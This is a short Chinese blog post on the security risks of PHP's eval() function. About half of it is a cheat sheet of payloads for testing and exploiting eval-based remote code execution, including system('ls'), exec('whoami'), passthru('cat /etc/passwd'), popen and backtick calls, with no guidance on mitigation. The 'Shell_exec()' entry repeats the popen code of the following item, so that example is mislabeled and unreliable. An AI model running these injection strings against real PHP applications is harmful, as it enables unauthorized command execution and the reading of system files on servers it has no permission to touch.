PHP Eval() 的危险

远程代码执行的入口

图片[1]-PHP Eval() 的危险

PHP 的 eval() 函数通常被称为 Web 开发中最具争议的功能之一,它是一把双刃剑。一方面,它提供了一种动态执行 PHP 代码的强大方法,但另一方面,它打开了安全漏洞的潘多拉魔盒,尤其是远程代码执行 (RCE)。

PHP 中的 eval() 函数就像一道魔法咒语,可以将任何一段文本变成真实的、可执行的 PHP 代码。

Eval() 的安全问题

eval() 函数将字符串作为 PHP 代码进行计算。当这个看似无害的功能与未经适当过滤的用户输入相结合时,它就成了攻击者手中的武器。其潜在危害包括未经授权的信息泄露以及服务器的完全接管。

用于测试 eval() 或 RCE 的有效载荷

sleep(100);

phpinfo();

a+a

如何利用 Eval

1. System()

eval("system('ls');");

2. Exec()

eval("exec('whoami', \$output); echo \$output[0];");

3. Passthru()

eval("passthru('cat /etc/passwd');");

4. Shell_exec()

eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");

5. Popen() 和 Proc_open()

eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");

6. 反引号技巧

`whoami`;
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容